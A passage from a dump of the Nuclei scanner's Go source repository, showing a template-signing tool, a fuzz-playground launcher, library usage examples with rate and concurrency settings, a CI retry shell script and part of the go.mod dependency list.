`yaml:\"cvss-score,omitempty\"`\n\tCveId       string  `yaml:\"cve-id,omitempty\"`\n\tCweId       string  `yaml:\"cwe-id,omitempty\"`\n\tCpe         string  `yaml:\"cpe,omitempty\"`\n\tEpssScore   float64 `yaml:\"epss-score,omitempty\"`\n}\n\ntype TemplateInfo struct {\n\tName           string                 `yaml:\"name\"`\n\tAuthor         string                 `yaml:\"author\"`\n\tSeverity       string                 `yaml:\"severity,omitempty\"`\n\tDescription    string                 `yaml:\"description,omitempty\"`\n\tReference      interface{}            `yaml:\"reference,omitempty\"`\n\tRemediation    string                 `yaml:\"remediation,omitempty\"`\n\tClassification TemplateClassification `yaml:\"classification,omitempty\"`\n\tMetadata       map[string]interface{} `yaml:\"metadata,omitempty\"`\n\tTags           string                 `yaml:\"tags,omitempty\"`\n}\n"
  },
  {
    "path": "cmd/tools/fuzzplayground/main.go",
    "content": "package main\n\nimport (\n\t\"flag\"\n\n\t_ \"github.com/mattn/go-sqlite3\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils/fuzzplayground\"\n)\n\nvar (\n\taddr string\n)\n\nfunc main() {\n\tflag.StringVar(&addr, \"addr\", \"localhost:8082\", \"playground server address\")\n\tflag.Parse()\n\n\tdefer fuzzplayground.Cleanup()\n\tserver := fuzzplayground.GetPlaygroundServer()\n\tdefer func() {\n\t\t_ = server.Close()\n\t}()\n\n\t// Start the server\n\tif err := server.Start(addr); err != nil {\n\t\tgologger.Fatal().Msgf(\"Could not start server: %s\\n\", err)\n\t}\n}\n"
  },
  {
    "path": "cmd/tools/signer/main.go",
    "content": "package main\n\nimport (\n\t\"crypto/sha256\"\n\t\"encoding/hex\"\n\t\"flag\"\n\t\"os\"\n\t\"path/filepath\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/gologger/levels\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/signer\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\tfolderutil \"github.com/projectdiscovery/utils/folder\"\n)\n\nvar (\n\tappConfigDir    = folderutil.AppConfigDirOrDefault(\".config\", \"nuclei\")\n\tdefaultCertFile = filepath.Join(appConfigDir, \"keys\", \"nuclei-user.crt\")\n\tdefaultPrivKey  = filepath.Join(appConfigDir, \"keys\", \"nuclei-user-private-key.pem\")\n)\n\nvar (\n\ttemplate string\n\tcert     string\n\tprivKey  string\n)\n\nfunc main() {\n\tflag.StringVar(&template, \"template\", \"\", \"template to sign (file only)\")\n\tflag.StringVar(&cert, \"cert\", defaultCertFile, \"certificate file\")\n\tflag.StringVar(&privKey, \"priv-key\", defaultPrivKey, \"private key file\")\n\tflag.Parse()\n\n\tconfig.DefaultConfig.LogAllEvents = true\n\tgologger.DefaultLogger.SetMaxLevel(levels.LevelVerbose)\n\n\tif template == \"\" {\n\t\tgologger.Fatal().Msg(\"template is required\")\n\t}\n\tif !fileutil.FileExists(template) {\n\t\tgologger.Fatal().Msgf(\"template file %s does not exist or not a file\", template)\n\t}\n\n\t// get signer\n\ttmplSigner, err := signer.NewTemplateSignerFromFiles(cert, privKey)\n\tif err != nil {\n\t\tgologger.Fatal().Msgf(\"failed to create signer: %s\", err)\n\t}\n\tgologger.Info().Msgf(\"Template Signer: %v\\n\", tmplSigner.Identifier())\n\n\t// read file\n\tbin, err := os.ReadFile(template)\n\tif err != nil {\n\t\tgologger.Fatal().Msgf(\"failed to read template file %s: %s\", template, err)\n\t}\n\n\t// extract signature and content\n\tsig, content := signer.ExtractSignatureAndContent(bin)\n\thash := sha256.Sum256(content)\n\n\tgologger.Info().Msgf(\"Signature Details:\")\n\tgologger.Info().Msgf(\"----------------\")\n\tgologger.Info().Msgf(\"Signature: %s\", sig)\n\tgologger.Info().Msgf(\"Content Hash (SHA256): %s\\n\", hex.EncodeToString(hash[:]))\n\n\texecOpts := defaultExecutorOpts(template)\n\n\ttmpl, err := templates.Parse(template, nil, execOpts)\n\tif err != nil {\n\t\tgologger.Fatal().Msgf(\"failed to parse template: %s\", err)\n\t}\n\tgologger.Info().Msgf(\"Template Verified: %v\\n\", tmpl.Verified)\n\n\tif !tmpl.Verified {\n\t\tgologger.Info().Msgf(\"------------------------\")\n\t\tgologger.Info().Msg(\"Template is not verified, signing template\")\n\t\tif err := templates.SignTemplate(tmplSigner, template); err != nil {\n\t\t\tgologger.Fatal().Msgf(\"Failed to sign template: %s\", err)\n\t\t}\n\t\t// verify again by reading file what the new signature and hash is\n\t\tbin2, err := os.ReadFile(template)\n\t\tif err != nil {\n\t\t\tgologger.Fatal().Msgf(\"failed to read signed template file %s: %s\", template, err)\n\t\t}\n\t\tsig2, content2 := signer.ExtractSignatureAndContent(bin2)\n\t\thash2 := sha256.Sum256(content2)\n\n\t\tgologger.Info().Msgf(\"Updated Signature Details:\")\n\t\tgologger.Info().Msgf(\"------------------------\")\n\t\tgologger.Info().Msgf(\"Signature: %s\", sig2)\n\t\tgologger.Info().Msgf(\"Content Hash (SHA256): %s\\n\", hex.EncodeToString(hash2[:]))\n\t}\n\tgologger.Info().Msgf(\"✓ Template signed & verified successfully\")\n}\n\nfunc defaultExecutorOpts(templatePath string) *protocols.ExecutorOptions {\n\t// use parsed options when initializing signer instead of default options\n\toptions := types.DefaultOptions()\n\ttemplates.UseOptionsForSigner(options)\n\tcatalog := disk.NewCatalog(filepath.Dir(templatePath))\n\texecuterOpts := &protocols.ExecutorOptions{\n\t\tCatalog:      catalog,\n\t\tOptions:      options,\n\t\tTemplatePath: templatePath,\n\t\tParser:       templates.NewParser(),\n\t}\n\treturn executerOpts\n}\n"
  },
  {
    "path": "examples/advanced/advanced.go",
    "content": "package main\n\nimport (\n\t\"context\"\n\n\tnuclei \"github.com/projectdiscovery/nuclei/v3/lib\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/installer\"\n\tsyncutil \"github.com/projectdiscovery/utils/sync\"\n)\n\nfunc main() {\n\tctx := context.Background()\n\t// when running nuclei in parallel for first time it is a good practice to make sure\n\t// templates exists first\n\ttm := installer.TemplateManager{}\n\tif err := tm.FreshInstallIfNotExists(); err != nil {\n\t\tpanic(err)\n\t}\n\n\t// create nuclei engine with options\n\tne, err := nuclei.NewThreadSafeNucleiEngineCtx(ctx)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t// setup sizedWaitgroup to handle concurrency\n\tsg, err := syncutil.New(syncutil.WithSize(10))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// scan 1 = run dns templates on scanme.sh\n\tsg.Add()\n\tgo func() {\n\t\tdefer sg.Done()\n\t\terr = ne.ExecuteNucleiWithOpts([]string{\"scanme.sh\"},\n\t\t\tnuclei.WithTemplateFilters(nuclei.TemplateFilters{ProtocolTypes: \"dns\"}),\n\t\t\tnuclei.WithHeaders([]string{\"X-Bug-Bounty: pdteam\"}),\n\t\t\tnuclei.EnablePassiveMode(),\n\t\t)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}()\n\n\t// scan 2 = run templates with oast tags on honey.scanme.sh\n\tsg.Add()\n\tgo func() {\n\t\tdefer sg.Done()\n\t\terr = ne.ExecuteNucleiWithOpts([]string{\"http://honey.scanme.sh\"}, nuclei.WithTemplateFilters(nuclei.TemplateFilters{Tags: []string{\"oast\"}}))\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}()\n\n\t// wait for all scans to finish\n\tsg.Wait()\n\tdefer ne.Close()\n\n\t// Output:\n\t// [dns-saas-service-detection] scanme.sh\n\t// [nameserver-fingerprint] scanme.sh\n\t// [dns-saas-service-detection] honey.scanme.sh\n}\n"
  },
  {
    "path": "examples/simple/simple.go",
    "content": "package main\n\nimport (\n\t\"context\"\n\n\tnuclei \"github.com/projectdiscovery/nuclei/v3/lib\"\n)\n\nfunc main() {\n\tne, err := nuclei.NewNucleiEngineCtx(context.Background(),\n\t\tnuclei.WithTemplateFilters(nuclei.TemplateFilters{Tags: []string{\"oast\"}}),\n\t\tnuclei.EnableStatsWithOpts(nuclei.StatsOptions{MetricServerPort: 6064}), // optionally enable metrics server for better observability\n\t)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t// load targets and optionally probe non http/https targets\n\tne.LoadTargets([]string{\"http://honey.scanme.sh\"}, false)\n\terr = ne.ExecuteWithCallback(nil)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer ne.Close()\n}\n"
  },
  {
    "path": "examples/with_speed_control/main.go",
    "content": "package main\n\nimport (\n\t\"context\"\n\t\"log\"\n\t\"sync\"\n\t\"time\"\n\n\tnuclei \"github.com/projectdiscovery/nuclei/v3/lib\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n)\n\nfunc main() {\n\tne, err := initializeNucleiEngine()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer ne.Close()\n\n\tne.LoadTargets([]string{\"http://honey.scanme.sh\"}, false)\n\n\tvar wg sync.WaitGroup\n\twg.Add(3)\n\n\tgo testRateLimit(&wg, ne)\n\tgo testThreadsAndBulkSize(&wg, ne)\n\tgo testPayloadConcurrency(&wg, ne)\n\n\terr = ne.ExecuteWithCallback(nil)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\twg.Wait()\n}\n\nfunc initializeNucleiEngine() (*nuclei.NucleiEngine, error) {\n\treturn nuclei.NewNucleiEngineCtx(context.TODO(),\n\t\tnuclei.WithTemplateFilters(nuclei.TemplateFilters{Tags: []string{\"oast\"}}),\n\t\tnuclei.EnableStatsWithOpts(nuclei.StatsOptions{MetricServerPort: 6064}),\n\t\tnuclei.WithGlobalRateLimit(1, time.Second),\n\t\tnuclei.WithConcurrency(nuclei.Concurrency{\n\t\t\tTemplateConcurrency:           1,\n\t\t\tHostConcurrency:               1,\n\t\t\tHeadlessHostConcurrency:       1,\n\t\t\tHeadlessTemplateConcurrency:   1,\n\t\t\tJavascriptTemplateConcurrency: 1,\n\t\t\tTemplatePayloadConcurrency:    1,\n\t\t\tProbeConcurrency:              1,\n\t\t}),\n\t)\n}\n\nfunc testRateLimit(wg *sync.WaitGroup, ne *nuclei.NucleiEngine) {\n\tdefer wg.Done()\n\tverifyRateLimit(ne, 1, 5000)\n}\n\nfunc testThreadsAndBulkSize(wg *sync.WaitGroup, ne *nuclei.NucleiEngine) {\n\tdefer wg.Done()\n\tinitialTemplateThreads, initialBulkSize := 1, 1\n\tverifyThreadsAndBulkSize(ne, initialTemplateThreads, initialBulkSize, 25, 25)\n}\n\nfunc testPayloadConcurrency(wg *sync.WaitGroup, ne *nuclei.NucleiEngine) {\n\tdefer wg.Done()\n\tverifyPayloadConcurrency(ne, 1, 500)\n}\n\nfunc verifyRateLimit(ne *nuclei.NucleiEngine, initialRate, finalRate int) {\n\tif ne.GetExecuterOptions().RateLimiter.GetLimit() != uint(initialRate) {\n\t\tpanic(\"wrong initial rate limit\")\n\t}\n\ttime.Sleep(5 * time.Second)\n\tne.Options().RateLimit = finalRate\n\ttime.Sleep(20 * time.Second)\n\tif ne.GetExecuterOptions().RateLimiter.GetLimit() != uint(finalRate) {\n\t\tpanic(\"wrong final rate limit\")\n\t}\n}\n\nfunc verifyThreadsAndBulkSize(ne *nuclei.NucleiEngine, initialThreads, initialBulk, finalThreads, finalBulk int) {\n\tif ne.Options().TemplateThreads != initialThreads || ne.Options().BulkSize != initialBulk {\n\t\tpanic(\"wrong initial standard concurrency\")\n\t}\n\ttime.Sleep(5 * time.Second)\n\tne.Options().TemplateThreads = finalThreads\n\tne.Options().BulkSize = finalBulk\n\ttime.Sleep(20 * time.Second)\n\tif ne.Engine().GetWorkPool().InputPool(types.HTTPProtocol).Size != finalBulk || ne.Engine().WorkPool().Default.Size != finalThreads {\n\t\tlog.Fatal(\"wrong final concurrency\", ne.Engine().WorkPool().Default.Size, finalThreads, ne.Engine().GetWorkPool().InputPool(types.HTTPProtocol).Size, finalBulk)\n\t}\n}\n\nfunc verifyPayloadConcurrency(ne *nuclei.NucleiEngine, initialPayloadConcurrency, finalPayloadConcurrency int) {\n\tif ne.Options().PayloadConcurrency != initialPayloadConcurrency {\n\t\tpanic(\"wrong initial payload concurrency\")\n\t}\n\ttime.Sleep(5 * time.Second)\n\tne.Options().PayloadConcurrency = finalPayloadConcurrency\n\ttime.Sleep(20 * time.Second)\n\tif ne.GetExecuterOptions().GetThreadsForNPayloadRequests(100, 0) != finalPayloadConcurrency {\n\t\tpanic(\"wrong final payload concurrency\")\n\t}\n}\n"
  },
  {
    "path": "gh_retry.sh",
    "content": "#!/bin/bash\n\n# This script is used to retry failed workflows in github actions.\n# It uses gh cli to fetch the failed workflows and then rerun them.\n# It also checks the logs of the failed workflows to see if it is a flaky test.\n# If it is a flaky test, it will rerun the failed jobs in the workflow.\n# eg:\n# ./gh_retry.sh -h to see the help.\n# ./gh_retry.sh will run the script with default values. \n\n# You can also pass the following arguments:\n# ./gh_retry.sh -b master -l 30 -t \"30 mins ago\" -w \"Build Test\"\n\n#Initialize variables to default values.\nBRANCH=$(git symbolic-ref --short HEAD)\nLIMIT=30\nBEFORE=\"30 mins ago\"\nWORKFLOW=\"Build Test\"\n\n# You can add multiple patterns separated by |\nGREP_ERROR_PATTERN='Test \"http/interactsh.yaml\" failed'\n\n#Set fonts for Help.\nNORM=$(tput sgr0)\nBOLD=$(tput bold)\nREV=$(tput smso)\n\nHELP()\n{\n   # Display Help\n   echo \"Script to retry failed workflows in github actions.\"\n   echo\n   echo \"Syntax: scriptTemplate [-b]\"\n   echo \"options:\"\n   echo \"${REV}-b${NORM}  Branch to check failed workflows/jobs. Default is ${BOLD}$BRANCH${NORM}.\"\n   echo \"${REV}-l${NORM}  Maximum number of runs to fetch. Default is ${BOLD}$LIMIT${NORM}.\"\n   echo \"${REV}-t${NORM}  Time to filter the failed jobs. Default is ${BOLD}$BEFORE${NORM}.\"\n   echo \"${REV}-w${NORM}  Workflow to filter the failed jobs. Default is ${BOLD}$WORKFLOW${NORM}.\"\n   echo\n}\n\nwhile getopts :b:l:t:w:h FLAG; do\n  case $FLAG in\n    b)\n      BRANCH=$OPTARG\n      ;;\n    l)\n      LIMIT=$OPTARG\n      ;;\n    t)\n      BEFORE=$OPTARG\n      ;;\n    w)\n      WORKFLOW=$OPTARG\n      ;;\n    h) #show help\n      HELP\n      exit 0\n      ;;\n    \\?) #unrecognized option - show help\n      echo -e \\\\n\"Option -${BOLD}$OPTARG${NORM} not allowed.\"\n      HELP\n      exit 0\n      ;;\n  esac\ndone\nshift $((OPTIND-1))\n\nfunction print_bold() {\n    echo \"${BOLD}$1${NORM}\"\n}\n\nfunction retry_failed_jobs() {\n    print_bold \"Checking failed workflows for branch $BRANCH before $BEFORE\"\n\n    date=$(date +%Y-%m-%d'T'%H:%M'Z' -d \"$BEFORE\")\n\n    workflowIds=$(gh run list --limit \"$LIMIT\"  --json headBranch,status,name,conclusion,databaseId,updatedAt | jq -c '.[] |\n    select ( .headBranch==$branch ) |\n    select ( .name | contains($workflow) ) |\n    select ( .conclusion==\"failure\" ) |\n    select ( .updatedAt > $date) ' --arg date \"$date\" --arg branch \"$BRANCH\" --arg workflow \"$WORKFLOW\" | jq .databaseId)\n\n    # convert line separated by space to array\n    eval \"arr=($workflowIds)\"\n\n    if [[ -z $arr ]]\n    then\n        print_bold \"Could not find any failed workflows in the last $BEFORE\"\n        exit 0\n    fi\n\n    for s in \"${arr[@]}\"; do\n        print_bold \"Checking logs of failed workflow $s to see if it is a flaky test\"\n        gh run view \"$s\" --log-failed | grep -E \"$GREP_ERROR_PATTERN\" > /dev/null\n        if [ $? == 0 ] ; then\n            print_bold \"Retrying failed jobs $s\"\n            gh run rerun \"$s\" --failed\n            sleep 10s\n            gh run view \"$s\"\n        fi\n    done\n}\n\nretry_failed_jobs\n"
  },
  {
    "path": "go.mod",
    "content": "module github.com/projectdiscovery/nuclei/v3\n\ngo 1.25.7\n\nrequire (\n\tgithub.com/Knetic/govaluate v3.0.1-0.20171022003610-9aa49832a739+incompatible\n\tgithub.com/andygrunwald/go-jira v1.16.1\n\tgithub.com/antchfx/htmlquery v1.3.5\n\tgithub.com/bluele/gcache v0.0.2\n\tgithub.com/go-playground/validator/v10 v10.26.0\n\tgithub.com/go-rod/rod v0.116.2\n\tgithub.com/gobwas/ws v1.4.0\n\tgithub.com/google/go-github v17.0.0+incompatible\n\tgithub.com/invopop/jsonschema v0.13.0\n\tgithub.com/itchyny/gojq v0.12.17\n\tgithub.com/json-iterator/go v1.1.12\n\tgithub.com/julienschmidt/httprouter v1.3.0\n\tgithub.com/logrusorgru/aurora v2.0.3+incompatible\n\tgithub.com/miekg/dns v1.1.68\n\tgithub.com/olekukonko/tablewriter v1.0.8\n\tgithub.com/pkg/errors v0.9.1\n\tgithub.com/projectdiscovery/clistats v0.1.1\n\tgithub.com/projectdiscovery/fastdialer v0.5.4\n\tgithub.com/projectdiscovery/hmap v0.0.100\n\tgithub.com/projectdiscovery/interactsh v1.3.1\n\tgithub.com/projectdiscovery/rawhttp v0.1.90\n\tgithub.com/projectdiscovery/retryabledns v1.0.113\n\tgithub.com/projectdiscovery/retryablehttp-go v1.3.6\n\tgithub.com/projectdiscovery/yamldoc-go v1.0.6\n\tgithub.com/remeh/sizedwaitgroup v1.0.0\n\tgithub.com/rs/xid v1.6.0\n\tgithub.com/segmentio/ksuid v1.0.4\n\tgithub.com/shirou/gopsutil/v3 v3.24.5 // indirect\n\tgithub.com/spaolacci/murmur3 v1.1.0 // indirect\n\tgithub.com/spf13/cast v1.9.2\n\tgithub.com/syndtr/goleveldb v1.0.0\n\tgithub.com/valyala/fasttemplate v1.2.2\n\tgithub.com/weppos/publicsuffix-go v0.50.3\n\tgo.uber.org/multierr v1.11.0\n\tgolang.org/x/net v0.51.0\n\tgolang.org/x/oauth2 v0.34.0\n\tgolang.org/x/text v0.34.0\n\tgopkg.in/yaml.v2 v2.4.0\n)\n\nrequire (\n\tcarvel.dev/ytt v0.52.0\n\tcode.gitea.io/sdk/gitea v0.17.0\n\tgithub.com/Azure/azure-sdk-for-go/sdk/azidentity v1.10.1\n\tgithub.com/Azure/azure-sdk-for-go/sdk/storage/azblob v1.1.0\n\tgithub.com/Azure/go-ntlmssp v0.1.0\n\tgithub.com/DataDog/gostackparse v0.7.0\n\tgithub.com/Masterminds/semver/v3 v3.4.0\n\tgithub.com/Mzack9999/gcache v0.0.0-20230410081825-519e28eab057\n\tgithub.com/Mzack9999/go-rsync v0.0.0-20250821180103-81ffa574ef4d\n\tgithub.com/Mzack9999/goja v0.0.0-20250507184235-e46100e9c697\n\tgithub.com/Mzack9999/goja_nodejs v0.0.0-20250507184139-66bcbf65c883\n\tgithub.com/alexsnet/go-vnc v0.1.0\n\tgithub.com/alitto/pond v1.9.2\n\tgithub.com/antchfx/xmlquery v1.4.4\n\tgithub.com/antchfx/xpath v1.3.5\n\tgithub.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2\n\tgithub.com/aws/aws-sdk-go-v2 v1.36.5\n\tgithub.com/aws/aws-sdk-go-v2/config v1.29.17\n\tgithub.com/aws/aws-sdk-go-v2/credentials v1.17.70\n\tgithub.com/aws/aws-sdk-go-v2/feature/s3/manager v1.17.82\n\tgithub.com/aws/aws-sdk-go-v2/service/s3 v1.82.0\n\tgithub.com/bytedance/sonic v1.15.0\n\tgithub.com/cespare/xxhash v1.1.0\n\tgithub.com/charmbracelet/glamour v0.10.0\n\tgithub.com/clbanning/mxj/v2 v2.7.0\n\tgithub.com/ditashi/jsbeautifier-go v0.0.0-20141206144643-2520a8026a9c\n\tgithub.com/docker/go-units v0.5.0\n\tgithub.com/fatih/structs v1.1.0\n\tgithub.com/getkin/kin-openapi v0.132.0\n\tgithub.com/go-git/go-git/v5 v5.16.5\n\tgithub.com/go-ldap/ldap/v3 v3.4.11\n\tgithub.com/go-pdf/fpdf v0.9.0\n\tgithub.com/go-pg/pg/v10 v10.15.0\n\tgithub.com/go-sql-driver/mysql v1.9.3\n\tgithub.com/goccy/go-json v0.10.5\n\tgithub.com/google/uuid v1.6.0\n\tgithub.com/h2non/filetype v1.1.3\n\tgithub.com/invopop/yaml v0.3.1\n\tgithub.com/jcmturner/gokrb5/v8 v8.4.4\n\tgithub.com/kitabisa/go-ci v1.0.3\n\tgithub.com/labstack/echo/v4 v4.13.4\n\tgithub.com/leslie-qiwa/flat v0.0.0-20230424180412-f9d1cf014baa\n\tgithub.com/lib/pq v1.11.2\n\tgithub.com/mattn/go-sqlite3 v1.14.28\n\tgithub.com/maypok86/otter/v2 v2.2.1\n\tgithub.com/mholt/archives v0.1.5\n\tgithub.com/microsoft/go-mssqldb v1.9.2\n\tgithub.com/ory/dockertest/v3 v3.12.0\n\tgithub.com/praetorian-inc/fingerprintx v1.1.15\n\tgithub.com/projectdiscovery/dsl v0.8.13\n\tgithub.com/projectdiscovery/fasttemplate v0.0.2\n\tgithub.com/projectdiscovery/gcache v0.0.0-20241015120333-12546c6e3f4c\n\tgithub.com/projectdiscovery/go-smb2 v0.0.0-20240129202741-052cc450c6cb\n\tgithub.com/projectdiscovery/goflags v0.1.74\n\tgithub.com/projectdiscovery/gologger v1.1.68\n\tgithub.com/projectdiscovery/gostruct v0.0.2\n\tgithub.com/projectdiscovery/gozero v0.1.1-0.20251027191944-a4ea43320b81\n\tgithub.com/projectdiscovery/httpx v1.9.0\n\tgithub.com/projectdiscovery/mapcidr v1.1.97\n\tgithub.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5\n\tgithub.com/projectdiscovery/networkpolicy v0.1.34\n\tgithub.com/projectdiscovery/ratelimit v0.0.83\n\tgithub.com/projectdiscovery/rdap v0.9.0\n\tgithub.com/projectdiscovery/sarif v0.0.1\n\tgithub.com/projectdiscovery/tlsx v1.2.2\n\tgithub.com/projectdiscovery/uncover v1.2.0\n\tgithub.com/projectdiscovery/useragent v0.0.107\n\tgithub.com/projectdiscovery/utils v0.9.0\n\tgithub.com/projectdiscovery/wappalyzergo v0.2.71\n\tgithub.com/redis/go-redis/v9 v9.11.0\n\tgithub.com/shurcooL/graphql v0.0.0-20230722043721-ed46e5a46466\n\tgithub.com/sijms/go-ora/v2 v2.9.0\n\tgithub.com/stretchr/testify v1.11.1\n\tgithub.com/tarunKoyalwar/goleak v0.0.0-20240429141123-0efa90dbdcf9\n\tgithub.com/testcontainers/testcontainers-go v0.38.0\n\tgithub.com/testcontainers/testcontainers-go/modules/mongodb v0.37.0\n\tgithub.com/yassinebenaid/godump v0.11.1\n\tgithub.com/zmap/zgrab2 v0.1.8\n\tgitlab.com/gitlab-org/api/client-go v0.130.1\n\tgo.mongodb.org/mongo-driver v1.17.9\n\tgolang.org/x/term v0.40.0\n\tgopkg.in/yaml.v3 v3.0.1\n\tmoul.io/http2curl v1.0.0\n)\n\nrequire (\n\taead.dev/minisign v0.3.0 // indirect\n\tdario.cat/mergo v1.0.2 // indirect\n\tfilippo.io/edwards25519 v1.1.1 // indirect\n\tgit.mills.io/prologic/smtpd v0.0.0-20210710122116-a525b76c287a // indirect\n\tgithub.com/Azure/azure-sdk-for-go/sdk/azcore v1.18.0 // indirect\n\tgithub.com/Azure/azure-sdk-for-go/sdk/internal v1.11.1 // indirect\n\tgithub.com/Azure/go-ansiterm v0.0.0-20250102033503-faa5f7b0171c // indirect\n\tgithub.com/AzureAD/microsoft-authentication-library-for-go v1.4.2 // indirect\n\tgithub.com/BurntSushi/toml v1.3.2 // indirect\n\tgithub.com/Microsoft/go-winio v0.6.2 // indirect\n\tgithub.com/Mzack9999/go-http-digest-auth-client v0.6.1-0.20220414142836-eb8883508809 // indirect\n\tgithub.com/Nvveen/Gotty v0.0.0-20120604004816-cd527374f1e5 // indirect\n\tgithub.com/ProtonMail/go-crypto v1.1.6 // indirect\n\tgithub.com/PuerkitoBio/goquery v1.11.0 // indirect\n\tgithub.com/STARRY-S/zip v0.2.3 // indirect\n\tgithub.com/VividCortex/ewma v1.2.0 // indirect\n\tgithub.com/akrylysov/pogreb v0.10.2 // indirect\n\tgithub.com/alecthomas/chroma/v2 v2.20.0 // indirect\n\tgithub.com/alecthomas/kingpin/v2 v2.4.0 // indirect\n\tgithub.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751 // indirect\n\tgithub.com/alecthomas/units v0.0.0-20211218093645-b94a6e3cc137 // indirect\n\tgithub.com/andybalholm/brotli v1.2.0 // indirect\n\tgithub.com/andybalholm/cascadia v1.3.3 // indirect\n\tgithub.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.11 // indirect\n\tgithub.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.32 // indirect\n\tgithub.com/aws/aws-sdk-go-v2/internal/configsources v1.3.36 // indirect\n\tgithub.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.36 // indirect\n\tgithub.com/aws/aws-sdk-go-v2/internal/ini v1.8.3 // indirect\n\tgithub.com/aws/aws-sdk-go-v2/internal/v4a v1.3.36 // indirect\n\tgithub.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.12.4 // indirect\n\tgithub.com/aws/aws-sdk-go-v2/service/internal/checksum v1.7.4 // indirect\n\tgithub.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.12.17 // indirect\n\tgithub.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.18.17 // indirect\n\tgithub.com/aws/aws-sdk-go-v2/service/sso v1.25.5 // indirect\n\tgithub.com/aws/aws-sdk-go-v2/service/ssooidc v1.30.3 // indirect\n\tgithub.com/aws/aws-sdk-go-v2/service/sts v1.34.0 // indirect\n\tgithub.com/aws/smithy-go v1.22.4 // indirect\n\tgithub.com/aymanbagabas/go-osc52/v2 v2.0.1 // indirect\n\tgithub.com/aymerick/douceur v0.2.0 // indirect\n\tgithub.com/bahlo/generic-list-go v0.2.0 // indirect\n\tgithub.com/bits-and-blooms/bitset v1.22.0 // indirect\n\tgithub.com/bits-and-blooms/bloom/v3 v3.5.0 // indirect\n\tgithub.com/bodgit/plumbing v1.3.0 // indirect\n\tgithub.com/bodgit/sevenzip v1.6.1 // indirect\n\tgithub.com/bodgit/windows v1.0.1 // indirect\n\tgithub.com/brianvoe/gofakeit/v7 v7.2.1 // indirect\n\tgithub.com/buger/jsonparser v1.1.2 // indirect\n\tgithub.com/bytedance/gopkg v0.1.3 // indirect\n\tgithub.com/bytedance/sonic/loader v0.5.0 // indirect\n\tgithub.com/caddyserver/certmagic v0.25.0 // indirect\n\tgithub.com/caddyserver/zerossl v0.1.3 // indirect\n\tgithub.com/cenkalti/backoff/v4 v4.3.0 // indirect\n\tgithub.com/cenkalti/backoff/v5 v5.0.3 // indirect\n\tgithub.com/censys/censys-sdk-go v0.19.1 // indirect\n\tgithub.com/cespare/xxhash/v2 v2.3.0 // indirect\n\tgithub.com/charmbracelet/colorprofile v0.3.2 // indirect\n\tgithub.com/charmbracelet/lipgloss v1.1.1-0.20250404203927-76690c660834 // indirect\n\tgithub.com/charmbracelet/x/ansi v0.10.1 // indirect\n\tgithub.com/charmbracelet/x/cellbuf v0.0.13 // indirect\n\tgithub.com/charmbracelet/x/exp/slice v0.0.0-20250908092851-c2208eb08494 // indirect\n\tgithub.com/charmbracelet/x/term v0.2.1 // indirect\n\tgithub.com/cheggaaa/pb/v3 v3.1.7 // indirect\n\tgithub.com/cloudflare/cfssl v1.6.4 // indirect\n\tgithub.com/cloudflare/circl v1.6.3 // indirect\n\tgithub.com/cloudwego/base64x v0.1.6 // indirect\n\tgithub.com/cnf/structhash v0.0.0-20250313080605-df4c6cc74a9a // indirect\n\tgithub.com/containerd/continuity v0.4.5 // indirect\n\tgithub.com/containerd/errdefs v1.0.0 // indirect\n\tgithub.com/containerd/errdefs/pkg v0.3.0 // indirect\n\tgithub.com/containerd/log v0.1.0 // indirect\n\tgithub.com/containerd/platforms v0.2.1 // indirect\n\tgithub.com/cpuguy83/dockercfg v0.3.2 // indirect\n\tgithub.com/cyphar/filepath-securejoin v0.5.1 // indirect\n\tgithub.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect\n\tgithub.com/davidmz/go-pageant v1.0.2 // indirect\n\tgithub.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f // indirect\n\tgithub.com/distribution/reference v0.6.0 // indirect\n\tgithub.com/djherbis/times v1.6.0 // indirect\n\tgithub.com/dlclark/regexp2 v1.11.5 // indirect\n\tgithub.com/docker/cli v29.2.0+incompatible // indirect\n\tgithub.com/docker/docker v28.3.3+incompatible // indirect\n\tgithub.com/docker/go-connections v0.6.0 // indirect\n\tgithub.com/dsnet/compress v0.0.2-0.20230904184137-39efe44ab707 // indirect\n\tgithub.com/dustin/go-humanize v1.0.1 // indirect\n\tgithub.com/ebitengine/purego v0.8.4 // indirect\n\tgithub.com/emirpasic/gods v1.18.1 // indirect\n\tgithub.com/ericlagergren/decimal v0.0.0-20240411145413-00de7ca16731 // indirect\n\tgithub.com/fatih/color v1.18.0 // indirect\n\tgithub.com/felixge/fgprof v0.9.5 // indirect\n\tgithub.com/felixge/httpsnoop v1.0.4 // indirect\n\tgithub.com/free5gc/util v1.0.5-0.20230511064842-2e120956883b // indirect\n\tgithub.com/gabriel-vasile/mimetype v1.4.8 // indirect\n\tgithub.com/gaissmai/bart v0.26.0 // 